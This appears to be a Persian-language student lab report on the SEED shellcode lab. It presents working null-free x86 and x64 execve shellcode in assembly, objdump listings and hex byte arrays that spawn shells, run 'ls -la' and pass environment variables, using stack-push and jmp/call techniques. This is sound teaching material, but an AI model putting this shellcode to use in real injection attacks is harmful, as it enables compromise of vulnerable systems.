به نام خدا

1- مقدمه

شل کد (shellcode) به طور گسترده در حملاتی که شامل تزریق کد هستند استفاده می‌شود. نوشتن شل کد کار چالشی است. با اینکه ما به راحتی میتوانیم شل کدهای آماده را در اینترنت پیدا و استفاده کنیم، ممکن است در مواقعی نیاز به نوشتن شل کد خاصی داشته باشیم که شرایط مورد نظر را برآورده کند.

همانطور که ذکر شد، در نوشتن یک شل کد چالش‌هایی وجود دارد. اول اینکه باید مطمئن شویم که عدد صفر در کد به طور مستقیم وجود ندارد، به دلیل اینکه شل کدها معمولا به صورت رشته تزریق می‌شوند و وجود صفر نشان دهنده انتهای رشته است و کد مورد نظر به طور موفقیت آمیز اجرا نمی‌شود. چالش بعدی پیدا کردن آدرس اطلاعات مورد استفاده در فرمان‌ها است. چالش اول چندان دشوار نیست و راه‌های مختلفی برای حل آن وجود دارد. چالش دوم باعث به وجود آمدن دو راه کار کلی در نوشتن شل کد شد. در یک راه اطلاعات هنگام اجرا در استک (stack) پوش (push) می‌شوند و آدرس آن‌ها با استفاده از اشاره‌گر استک به دست می‌آید. در راه دیگر، اطلاعات در بخش کد، دقیقا بعد از دستور Call قرار می‌گیرد، زمانی که دستور Call اجرا می‌شود، آدرس اطلاعات به عنوان آدرس بازگشت در استک قرار می‌گیرد.

2- ابزار مورد نیاز

برای انجام این آزمایش نیاز به نصب ابزارهای زیر است

Python 3
nasm
ld
objdump
xxd
make

و یک text editor یا IDE (مانند nano)

2-1- فایل‌های ارائه شده

در پوشه اصلی 3 فایل با فرمت s. و یک Makefile موجود است که برای توضیحات

در فایل‌های ارائه شده 6 پوشه مربوط به 6 تمرین موجود در آزمایشگاه قرار دارد

در هر پوشه یک فایل با فرمت s. موجود است که کد اسمبلی اصلی در آن فایل قرار دارد

یک فایل Makefile نیز موجود است که با اجرای آن (دستور make) کد امسبلی کامپایل و لینک می‌شود، همچنین با اضافه کردن clean به این دستور، فایل‌های خروجی کامپایل حذف می‌شوند

دو فایل اسکریپت با نام‌های objdmp و xxd نیز در هر پوشه موجود است که خروجی دستورات objdump و xxd (کد ماشین) فایل آبجکت ساخته شده پس از کامپایل را نشان می‌دهد

همچنین یک فایل convert.py در هر پوشه وجود دارد که با اجرای آن آرایه شل کد نهایی چاپ می‌شود

3- تمرین اول: نوشتن شل کد

شل کد معمولا با استفاده از زبان اسمبلی نوشته می‌شود، که وابسته به معماری کامپیوتر است. ما از معماری اینتل (Intel) استفاده می‌کنیم که دو نوع پردازنده را شامل می‌شود x86 (برای پردازنده‌های مرکزی 32 بیتی) و x64 (برای پردازنده‌های مرکزی 64 بیتی) در چند تمرین ابتدایی تمرکزمان بر روی شل کد 32 بیتی است. در تمرین آخر بر روی شل کد 64 بیتی تمرکز می‌کنیم. با اینکه اکثر کامپیوترهای امروزی 64 بیتی هستند می‌توان کد 32 بیتی نیز بر روی آن‌ها اجرا کرد.

3-1- بخش اول تمرین اول: روند کلی

در این بخش یک شل کد را کامپایل، بررسی و اجرا می‌کنیم (این بخش صرفا برای آشنایی است)

کد 1

```
section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the string address

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable
      xor  edx, edx     ; No env variables

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80
```

کامپایل اسمبلی به object

برای کامپایل کد اسمبلی از ابزار nasm استفاده می‌کنیم، که یک اسمبلر و دیس‌اسمبلر (disassembler) برای معماری‌های اینتل است. گزینه f elf32- نشان می‌دهد که ما می‌خواهیم کد را به فرمت اجرایی ELF 32 بیتی کامپایل کنیم. فرمت ELF یک فرمت استاندارد برای فایل‌های اجرایی، object و کتاب‌خانه‌ها است. برای 64 بیت باید از elf64 استفاده کرد

```
$ nasm -f elf32 mysh.s -o mysh.o
```

لینک کردن برای ساخت فایل باینری نهایی

زمانی که فایل آبجکت کد mysh.o ساخته شد، ما باید فایل اجرایی را تولید کنیم، برای اینکار از برنامه ld استفاده می‌کنیم که مرحله آخر کامپایل است. گزینه m elf_i386- نشان دهنده32 بیتی فایل ELF است، بعد از این مرحله فایل نهایی mysh در اختیار ما است و می‌توانیم آن‌را اجرا کنیم.

```
$ ld -m elf_i386 mysh.o -o mysh
```

پس از اجرای mysh ما به یک شل جدید دسترسی پیدا می‌کنیم که می‌توانیم با چاپ کردن شناسه پروسه شل این موضوع را به وضوح نشان دهیم.

```
$ echo $$
25751
$ mysh
$ echo $$
9760
```

گرفتن کد ماشین

هنگام حمله، ما به کد ماشین نیاز داریم، نه یک برنامه اجرایی. به طور فنی، یک شل کد این کد ماشین است، در نتیجه ما نیاز به استخراج کد ماشین از فایل اجرایی داریم، یک راه ساده برای انجام اینکار استفاده از برنامه objdump است

```
$ objdump -Mintel –disassmble mysh.o
```

پس از اجرای دستور کد ماشین به همراه دستورات اسمبلی مربوط به آن‌ها نشان داده می‌شود

همچنین می‌توان از دستور xxd برای به دست آوردن محتویات فایل به صورت باینری استفاده کرد

```
$ xxd -p -c 20 mysh.o
```

استفاده از شل کد در حمله

در حمله‌ها، ما نیاز به قرار دادن شل کد در یک برنامه اصلی داریم. معمولا کد ماشین در یک آرایه ذخیره می‌شود، اما تبدیل کد ماشین به دست آمده با دستورات بالا به یک آرایه به صورت دستی کاری بسیار وقت‌گیر و خسته‌کننده است. به همین دلیل یک اسکریپت پایتون در اختیار شما قرار داده‌ایم که در این فرایند به شما کمک میکند، برای استفاده از این اسکریپت خروجی دستور xxd را (تنها بخش مربوط به شل کد) کپی کرده و در خطوط بین دو """ قرار دهید، سپس اسکریپت را اجرا کنید

```
$ ./convert.py
Length of the shellcode: 35
shellcode= (
"\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
"\x0b\xcd\x80"
).encode('latin-1')
```

3-2- بخش دوم تمرین اول: حذف صفر از شل کد

شل کد به طور گسترده در حمله‌های بافر اورفلو (buffer overflow) استفاده می‌شود. در این مواقع، آسیب پذیری توسط کپی رشته رخ می‌دهد، مانند تابع strcpy، برای این توابع، بایت 0 نشان دهنده پایان رشته است، به همین دلیل اگر یک صفر در میانه شل کد وجود داشته باشد، کپی بعد از صفر به بافر هدف انجام نمی‌شود و حمله موفقیت‌آمیز نخواهد بود.

با اینکه همه آسیب پذیری‌ها با صفر مشکل ندارند، اما یک الزام برای شل کد نداشتن صفر است، در غیر این صورت کارایی شل کد محدود می‌شود.

روش‌های زیادی برای از بین بردن صفر در شل کد وجود دارد. کد mysh.s در 4 مکان مختلف نیاز به استفاده از صفر دارد، این مکان‌ها را شناسایی کنید و توضیح دهید چگونه بدون استفاده مستقیم از صفر، مقدار آن استفاده شده است.

دیگر راه‌های رسیدن به مقدار صفر:

1- اگر نیاز به ریختن یک مقدار کوچک در یک رجیستر داریم، مانند 0x99، نمی‌توانیم از دستور

```
mov eax, 0x99
```

استفاده کنیم، زیرا عملوند سمت راست در واقع 32 بیتی است و به 0x00000099 تبدیل می‌شود، به همین دلیل نیاز است که از 8 بیت کم ارزش رجیستر (در اینجا al) استفاده کنیم

2- راه دیگر استفاده از شیفت به چپ و راست است

فرض کنیم میخواهیم رشته "xyz" را در ebx قرار دهیم، در ابتدا مقدار "#xyz" را قرار داده، سپس 8 بیت شیفت به سمت چپ و سپس 8 بیت شیفت به سمت راست انجام میدهیم (با استفاده از shl و shr)،

پس از انجام اینکار مقدار صفر به جای # قرار خواهد گرفت، نکته قابل توجه این است که بسته به little endian یا big endian بودن سیستم، این شیفت ممکن است متفاوت باشد

در شل کد mysh.s رشته //sh در استک قرار گرفته، در واقع ما نیاز به /sh داریم، اما به دلیل 32 بیتی بودن دستور پوش نیاز به 4 کاراکتر است، به همین دلیل یک / زائد اضافه می‌کنیم که سیستم عامل خود آن را نادیده می‌گیرد.

در این بخش شما باید دستور /bin/bash را اجرا کنید، که 9 بایت دستور است (10 با احتساب صفر آخر رشته)، معمولا برای پوش کردن این رشته در استک نیاز است که آن را به /bin////bash تبدیل کنیم، اما در این تمرین شما اجازه استفاده از کاراکتر زائد ندارید. نشان دهید که چگونه این کار را انجام می‌دهید و همچنین نشان دهید که کد شما صفر ندارد و با موفقیت به یک شل دسترسی پیدا می‌کنید

پاسخ این بخش

در چه جاهایی شل اسکریپت mysh.s از صفر استفاده کرده است و چگونه اینکار را انجام داده

1. صفر کردن انتهای رشته
2. صفر کردن آخرین المان آرایه
3. صفر کردن پوینتر مربوط به متغیرهای محیطی
4. قرار دادن مقدار 0x0000000b در ریجستر مربوط به سیستم کال

برای صفر کردن مقدار یک رجیستر در این بخش از دستور xor استفاده شده است، xor کردن یک مقدار با خودش، برابر با صفر می‌شود

0^0 = 0 1^1 = 0

شل کد جواب این بخش:

کد 2 موجود در پوشه task1-b

```
section .text
  global _start
    _start:
      mov eax, "hxxx"
      shl eax, 24
      shr eax, 24
      push eax
      push "/bas"
      push "/bin"
      mov  ebx, esp

      ; Construct the argument array argv[]
      xor eax, eax
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] points "/bin/bash"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable
      xor  edx, edx     ; No env variables

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80
```

همانطور که مشاهده می‌کنید، در این کد ابتدا یک رشته hxxx را در رجیستر eax ذخیره می‌کنیم، سپس سه حرف xxx را با استفاده از شیفت دادن حذف می‌کنیم، پس از آن رشته /bin/bash را به صورت سه بخش /bin /bas h بر روی استک قرار می‌دهیم و آدرس آن را در ebx به عنوان پارامتر اول سیستم کال ذخیره می‌کنیم.

گرفتن شل جدید:

```
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task1-b# echo $$
14108
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task1-b# ./mysh
root@zero:/root/seed-labs/category-software/shellcode/Labsetup/task1-b# echo $$
14141
root@zero:/root/seed-labs/category-software/shellcode/Labsetup/task1-b#
```

شکل 1 گرفتن شل جدید در بخش دوم تمرین اول

صفر نداشتن شل کد:

```
root@zero:/root/seed-labs/category-software/shellcode/Labsetup/task1-b# ./objdmp.sh

mysh.o:     file format elf32-i386


Disassembly of section .text:

00000000 <_start>:
   0:   b8 68 78 78 78          mov    eax,0x78787868
   5:   c1 e0 18                shl    eax,0x18
   8:   c1 e8 18                shr    eax,0x18
   b:   50                      push   eax
   c:   68 2f 62 61 73          push   0x7361622f
  11:   68 2f 62 69 6e          push   0x6e69622f
  16:   89 e3                   mov    ebx,esp
  18:   31 c0                   xor    eax,eax
  1a:   50                      push   eax
  1b:   53                      push   ebx
  1c:   89 e1                   mov    ecx,esp
  1e:   31 d2                   xor    edx,edx
  20:   31 c0                   xor    eax,eax
  22:   b0 0b                   mov    al,0xb
  24:   cd 80                   int    0x80
```

شکل 2 صفر نداشتن شل کد بخش دوم تمرین اول

3-3- بخش سوم تمرین اول: ارائه آرگومان برای system call

در شل کد mysh.s پوینتر آرایه آرگومان‌ها در رجیستر ecx ذخیره شده است

به دلیل اینکه در آن مثال فرمان مربوط به /bin/sh بدون آرگومان است، آرایه مورد نظر صرفا شامل دو عنصر است، اول یک پوینتر به رشته فرمان و دوم صفر که نشان دهنده پایان آرایه است.

در این تمرین باید دستور زیر را اجرا کنید

```
/bin/sh -c “ls -la”
```

در این فرمان، آرایه argv باید چهار عنصر زیر را داشته باشد که هر کدام باید بر روی استک ساخته شود، مانند قبل نشان دهید که کد شما صفر ندارد (می‌توانید از / زائد استفاده کنید)

```
argv[3] = 0
argv[2] = "ls -la"
argv[1] = "-c"
argv[0] = "/bin/sh"
```

جواب این بخش

```
section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax
      push eax          ; Use 0 to terminate the string
      push "//sh"
      push "/bin"
      mov  ebx, esp     ; Get the string address
      ; Construct the argument array argv[]

      mov edx, "-c**"
      shl edx, 16
      shr edx, 16
      push edx
      mov edx, esp      ; argv[1]

      mov ecx, "la**"
      shl ecx, 16
      shr ecx, 16
      push ecx
      push "ls -"
      mov ecx, esp      ; argv[2]

      push eax          ; argv[3] = 0
      push ecx          ; argv[2] points "ls -la"
      push edx          ; argv[1] points "-c"
      push ebx          ; argv[0] points "/bin//sh"
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable
      xor  edx, edx     ; No env variables

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80
```

همانطور که در کد مشخص است، در ابتدا رشته فرمان مورد نظر را با استفاده از / ذائد آماده و آدرس آن را در ebx ذخیره می‌کنیم

پس از آن با استفاده از شیفت، رشته c- را آماده و پوینتر آن را در edx ذخیره می‌کنیم، با استفاده از شیفت رشته la را نیز آماده کرده و سپس تمامی رشته ls -la را بر روی استک ریخته و آدرس آن را در ecx ذخیره می‌کنیم

در نهایت آرایه argv را بر روی استک با استفاده از هر 4 رجیستر آماده میکنیم، در کامنت‌های کد مشخص است که هر رجیستر کدام عنصر آرایه را در خود ذخیره کرده است. در نهایت آدرس این آرایه را در ecx ذخیره می‌کنیم

خروجی اجرای کد:

```
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task1-c# ./mysh
total 36
drwxr-xr-x 2 root root 4096 Jul 14 09:10 .
drwxr-xr-x 8 root root 4096 Jun 22 09:40 ..
-rw-r--r-- 1 root root  136 Jun 22 05:43 Makefile
-rwxr-xr-x 1 root root  556 Jun 22 06:31 convert.py
-rwxr-xr-x 1 root root  540 Jul 14 09:10 mysh
-rw-r--r-- 1 root root  464 Jul 14 09:10 mysh.o
-rw-r--r-- 1 root root  998 Jun 22 06:29 mysh.s
-rwxr-xr-x 1 root root   34 Jun 22 05:43 objdmp.sh
-rwxr-xr-x 1 root root   17 Jun 22 05:43 xxd.sh
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task1-c#
```

شکل 3 خروجی اجرای کد بخش سوم تمرین اول

صفر نداشتن شل کد:

```
00000000 <_start>:
   0:   31 c0                   xor    eax,eax
   2:   50                      push   eax
   3:   68 2f 2f 73 68          push   0x68732f2f
   8:   68 2f 62 69 6e          push   0x6e69622f
   d:   89 e3                   mov    ebx,esp
   f:   ba 2d 63 2a 2a          mov    edx,0x2a2a632d
  14:   c1 e2 10                shl    edx,0x10
  17:   c1 ea 10                shr    edx,0x10
  1a:   52                      push   edx
  1b:   89 e2                   mov    edx,esp
  1d:   b9 6c 61 2a 2a          mov    ecx,0x2a2a616c
  22:   c1 e1 10                shl    ecx,0x10
  25:   c1 e9 10                shr    ecx,0x10
  28:   51                      push   ecx
  29:   68 6c 73 20 2d          push   0x2d20736c
  2e:   89 e1                   mov    ecx,esp
  30:   50                      push   eax
  31:   51                      push   ecx
  32:   52                      push   edx
  33:   53                      push   ebx
  34:   89 e1                   mov    ecx,esp
  36:   31 d2                   xor    edx,edx
  38:   31 c0                   xor    eax,eax
  3a:   b0 0b                   mov    al,0xb
  3c:   cd 80                   int    0x80
```

شکل 4 صفر نداشتن شل کد بخش سوم تمرین اول

3-4- بخش چهارم تمرین اول: ارائه متغیرهای محیطی برای execve()

سومین پارامتر سیستم کال execve یک پوینتر به آرایه متغیرهای محلی است.

در نمونه mysh.s یک پوینتر null به عنوان این آرایه به سیستم کال ارائه شده که نشان می‌دهد متغیر محلی پاس داده نشده. در این تمرین شما باید این‌کار را انجام دهید.

در این تمرین شما باید فرمان اجرایی را به /usr/bin/env تغییر دهید، این برنامه متغیرهای محیطی را چاپ می‌کند، در صورت اجرای شل کد های قبلی با این فرمان مشاهده می‌کنید که چیزی چاپ نمی‌شود.

در این تمرین یک شل کد myenv.s بنویسید که فرمان ذکر شده را اجرا کند و متغیرهای محیطی زیر چاپ شود

```
aaa=1234
bbb=5678
cccc=1234
```

دقت کنید که متغیر آخر مضربی از 4 نیست

ساخت این آرایه مشابه ساخت آرایه argv است. در ابتدا شما باید 3 رشته مورد نظر را بر روی استک آماده کنید، سپس آدرس هر رشته را دوباره بر روی استک قرار دهید و در نهایت پوینتر استک را به عنوان پوینتر آرایه در رجیستر مربوط به این آرگومان ذخیره کنید (نیازی نیست که ترتیب متغیرها مانند بالا باشد)

پاسخ این بخش

کد 3 شل کد بخش چهارم تمرین اول

```
section .text
  global _start
    _start:
      xor  eax, eax
      ; For environment variable
      push eax
      push "1234"
      push "aaa="
      mov ebx, esp ; ebx now points to aaa=1234
      push eax
      push "5678"
      push "bbb="
      mov ecx, esp ; ecx now points to bbb=5678
      mov edx, "4xxx"
      shl edx,24
      shr edx,24
      push edx
      push "=123"
      push "cccc"
      mov edx, esp ; edx now points to cccc=1234
      push eax
      push ebx
      push ecx
      push edx
      mov edx, esp ; edx now points to environment variables
      ; Store the argument string on stack
      push eax          ; Use 0 to terminate the string
      push "/env"
      push "/bin"
      push "/usr"
      mov  ebx, esp     ; Get the string address
      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0
      push ebx          ; argv[0] = "/usr/bin/env"
      mov  ecx, esp     ; Get the address of argv[]
      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80
```

همانطور که در کد ملاحظه می‌کنید، رشته‌های مربوط به هر متغیر بر روی استک ساخته شده و آدرس مربوط به آن در رجیسترهای ebx, ecx و edx ذخیره و سپس هر کدام از این آدرس‌ها بر روی استک ریخته شده و در نهایت پوینتر اصلی آرایه در edx قرار می‌گیرد

خروجی اجرای کد:

```
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task1-d# ./myenv
cccc=1234
bbb=5678
aaa=1234
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task1-d#
```

شکل 5 خروجی کد بخش چهار تمرین اول

صفر نداشتن شل کد:

```
00000000 <_start>:
   0:   31 c0                   xor    eax,eax
   2:   50                      push   eax
   3:   68 31 32 33 34          push   0x34333231
   8:   68 61 61 61 3d          push   0x3d616161
   d:   89 e3                   mov    ebx,esp
   f:   50                      push   eax
  10:   68 35 36 37 38          push   0x38373635
  15:   68 62 62 62 3d          push   0x3d626262
  1a:   89 e1                   mov    ecx,esp
  1c:   ba 34 78 78 78          mov    edx,0x78787834
  21:   c1 e2 18                shl    edx,0x18
  24:   c1 ea 18                shr    edx,0x18
  27:   52                      push   edx
  28:   68 3d 31 32 33          push   0x3332313d
  2d:   68 63 63 63 63          push   0x63636363
  32:   89 e2                   mov    edx,esp
  34:   50                      push   eax
  35:   53                      push   ebx
  36:   51                      push   ecx
  37:   52                      push   edx
  38:   89 e2                   mov    edx,esp
  3a:   50                      push   eax
  3b:   68 2f 65 6e 76          push   0x766e652f
  40:   68 2f 62 69 6e          push   0x6e69622f
  45:   68 2f 75 73 72          push   0x7273752f
  4a:   89 e3                   mov    ebx,esp
  4c:   50                      push   eax
  4d:   53                      push   ebx
  4e:   89 e1                   mov    ecx,esp
  50:   31 c0                   xor    eax,eax
  52:   b0 0b                   mov    al,0xb
  54:   cd 80                   int    0x80
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task1-d#
```

شکل 6 صفر نداشتن شل کد بخش چهار تمرین اول

4- تمرین دوم: استفاده از Code Segment

همانطور که از شل کد تمرین یک مشخص است، مشکل گرفتن آدرس اطلاعات را با ساخت اطلاعات به صورت داینامیک بر روی استک حل می‌کند و آدرس آن‌ها را با استفاده از پوینتر استک esp به دست می‌آورد.

راه دیگر حل این مشکل (به دست آوردن آدرس اطلاعات ضروری) ذخیره اطلاعات در بخش کد و به دست آوردن آدرس آن‌ها با استفاده از عملکرد دستور call است.

کد 4 استفاده از دستور call در فایل mysh2.s

```
section .text
  global _start
    _start:
    BITS 32
    jmp short two
    one:
    pop ebx
    xor eax, eax
    mov [ebx+7], al
    mov [ebx+8], ebx
    mov [ebx+12], eax
    lea ecx, [ebx+8]
    xor edx, edx
    mov al,  0x0b
    int 0x80
     two:
    call one
    db '/bin/sh*AAAABBBB'
```

این کد ابتدا به مکان two می‌رود (با دستور jmp) و سپس به مکان one اما این‌بار با دستور call جابه‌جا می‌شود، این دستور برای فراخوانی تابع است، قبل از پرش به مکان هدف، آدرس دستور بعدی را به عنوان مکان بازگشت بر روی استک ذخیره می‌کند تا پس از پایان اجرای تابع به اجرای ادامه برنامه بپردازد.

در این مثال "دستور" بعد از call در واقع یک دستور نیست، بلکه یک رشته است، اما برای دستور call مهم نیست و در نهایت آدرس این رشته بر روی استک قرار می‌گیرد

پس از فراخوانی تابع و در ابتدای بخش one، با استفاده از دستور pop ebx آدرس رشته مورد نظر در رجیستر ebx ذخیره می‌شود.

دقت کنید که رشته مربوطه یک رشته کامل نیست بلکه یک نگه‌دارنده است. برنامه نیاز دارد که اطلاعات مورد نیاز را در این نگه‌دارنده قرار دهد که به دلیل موجود بودن آدرس رشته، این کار به راحتی قابل انجام است.

اگر بخواهیم از این کد یک برنامه اجرایی ELF به دست بیاوریم، نیاز است که برنامه لینکر را با گزینه omagic-- اجرا کنیم تا code segment قابل تغییر باشد. به طور پیش فرض این بخش قابل تغییر نیست و برنامه ما نیاز دارد این کار را انجام دهد و اگر این امر ممکن نباشد برنامه مختل خواهد شد. توجه کنید که این یک مشکل برای حمله‌های اصلی نیست زیرا معمولا شل کد به یک بخش قابل تغییر تزریق می‌شود.

```
$ nasm -f elf32 mysh2.s -o mysh2.o
$ ld --omagic -m elf_i386 mysh2.o -o mysh2
```

در این بخش شما باید کد مربوط به mysh2.s را با جزییات توضیح دهید (از بخش one)

از تکنیک استفاده در این بخش استفاده کنید و یک شل کد جدید بنویسید که فرمان /usr/bin/env را اجرا کند و متغیرهای محیطی زیر را چاپ کند

```
a=11
b=22
```

پاسخ این تمرین

توضیح کد mysh2

در این کد آدرس رشته نگهدارنده '/bin/sh*AAAABBBB' در رجیستر ebx ذخیره می‌شود، سپس رجیستر eax صفر می‌شود، پس از آن بایت هفتم رشته (کاراکتر *) صفر شده (نشان دهنده پایان رشته) و سپس رشته آدرس رشته اصلی بعد از این بایت قرار میگیرد (شروع آرایه آرگومان‌ها) آخر رشته نیز با استفاده از eax مقدار صفر قرار میگیرد که نشان دهنده پایان آرایه آرگومان است

پس از آن رجیستر ecx را برابر آدرس خانه هشتم رشته اصلی قرار میدهیم (پارامتر argv) رجیستر edx را صفر کرده (متغیر محیطی نداریم) و در نهایت سیستم کال مورد نظر صدا زده می‌شود

شل کد پاسخ این بخش

کد 5 شل کد تمرین دوم

```
section .text
  global _start
    _start:
    BITS 32
    jmp short two
    one:
    pop ebx
    xor eax, eax
    mov [ebx+12], al
    mov [ebx+13], ebx
    mov [ebx+17], eax
    lea ecx, [ebx+13]
    push eax
    push "a=11"
    mov [ebx+21],esp
    push eax
    push "b=22"
    mov [ebx+25],esp
    mov [ebx+29], eax
    lea edx, [ebx+21]
    mov al,  0x0b
    int 0x80
     two:
    call one
    db '/usr/bin/env*AAAABBBBCCCCDDDDEEEE'
```

پس از اجرای تابع، به جای کاراکتر * در نگهدارنده مقدار صفر قرار می‌گیرد، سپس به جای AAAA آدرس رشته اصلی (/usr/bin/env\0) قرار گرفته و به جای BBBB عدد صفر قرار می‌گیرد، این بخش به عنوان آدرس آرگومان ها در ecx ذخیره می‌شود، سپس دو رشته مربوط به متغیرهای محل بر روی استک ساخته شده و آدرس هر کدام به جای CCCC و DDDD قرار می‌گیرد، و در نهایت به جای EEEE مقدار صفر قرار می‌گیرد که نشان دهنده پایان آرایه متغیرها است، و آدرس این آیاره در edx ذخیره می‌شود

در نهایت سیستم کال صدا زده می‌شود

خروجی اجرای این کد:

```
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task2# ./mysh2
a=11
b=22
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task2#
```

شکل 7 خروجی اجرای کد تمرین دوم

صفر نداشتن شل کد:

```
zero : bash — Konsole
File  Edit  View  Bookmarks  Settings  Help
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task2# ./convert.py
Length of the shellcode: 83
shellcode= (
    "\xeb\x2b\x5b\x31\xc0\x88\x43\x0c\x89\x5b\x0d\x89\x43\x11\x8d\x4b"
    "\x0d\x50\x68\x61\x3d\x31\x31\x89\x63\x15\x50\x68\x62\x3d\x32\x32"
    "\x89\x63\x19\x89\x43\x1d\x8d\x53\x15\xb0\x0b\xcd\x80\xe8\xd0\xff"
    "\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x65\x6e\x76\x2a\x41"
    "\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45"
    "\x45\x45\x45"
).encode('latin-1')
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task2#
```

شکل 8 صفر نداشتن شل کد تمرین دوم

5- تمرین سوم: نوشتن شل کد 64 بیتی

پس از یادگیری نوشتن شل کد 32 بیتی، نوشتن شل کد 64 بیتی آنچنان دشوار نخواهد بود، به دلیل اینکه شباهت بسیار زیادی بینشان وجود دارد. تفاوت‌ها عموما در رجیسترها است. در معماری 64 بیتی فراخوانی سیستم کال با دستور syscall انجام می‌شود، و سه آرگومان مربوطه به سیستم کال در رجیسترهای rdx, rsi, rdi ذخیره می‌شوند. در زیر یک نمونه شل کد 64 بیتی را مشاهده می‌کنید.

کد 6 نمونه شل کد 64 بیتی فایل mysh_64.s

```
section .text
  global _start
    _start:
      ; The following code calls execve("/bin/sh", ...)
      xor  rdx, rdx        ; 3rd argument
      push rdx
      mov rax,'/bin//sh'
      push rax
      mov rdi, rsp         ; 1st argument
      push rdx
      push rdi
      mov rsi, rsp         ; 2nd argument
      xor  rax, rax
      mov al, 0x3b         ; execve()
      syscall
```

برای کامپایل این کد اسمبلی به کد باینری 64 بیتی ELF از دستورات زیر استفاده می‌کنیم.

```
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
```

برای این تمرین، بخش دوم تمرین اول را در یک شل کد 64 بیتی تکرار کنید، به عبارت دیگر، فرمان /bin/bash را اجرا کنید، اجازه استفاده از / زائد را ندارید و رشته دستور باید 9 بایتی باشد، نشان دهید چگونه اینکار را انجام می‌دهید. همینطور نشان دهید که کد تولید شده صفر ندارد.

پاسخ این تمرین

شل کد جواب:

کد 7 شل کد تمرین سوم

```
section .text
  global _start
    _start:
      ; The following code calls execve("/bin/bash", ...)
      xor rax, rax
      mov al, 'h'
      mov rdx, '/bin/bas'
      push rax
      push rdx

      mov rdi, rsp        ; 1st argument
      xor  rdx, rdx       ; 3rd argument
      push rdx
      push rdi
      mov rsi, rsp        ; 2nd argument
      xor  rax, rax
      mov al, 0x3b        ; execve()
      syscall
```

خروجی این کد (گرفتن شل جدید)

```
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task3# echo $$
14108
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task3# ./mysh_64
root@zero:/root/seed-labs/category-software/shellcode/Labsetup/task3# echo $$
19451
root@zero:/root/seed-labs/category-software/shellcode/Labsetup/task3#
```

شکل 9 گرفتن شل جدید در تمرین سوم

عدم وجود صفر در شل کد:

```
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task3# ./objdmp.sh

mysh_64.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   48 31 c0                xor    rax,rax
   3:   b0 68                   mov    al,0x68
   5:   48 ba 2f 62 69 6e 2f    movabs rdx,0x7361622f6e69622f
   c:   62 61 73
   f:   50                      push   rax
  10:   52                      push   rdx
  11:   48 89 e7                mov    rdi,rsp
  14:   48 31 d2                xor    rdx,rdx
  17:   52                      push   rdx
  18:   57                      push   rdi
  19:   48 89 e6                mov    rsi,rsp
  1c:   48 31 c0                xor    rax,rax
  1f:   b0 3b                   mov    al,0x3b
  21:   0f 05                   syscall
root@zero:~/seed-labs/category-software/shellcode/Labsetup/task3#
```

شکل 10 عدم وجود صفر در شل کد تمرین سوم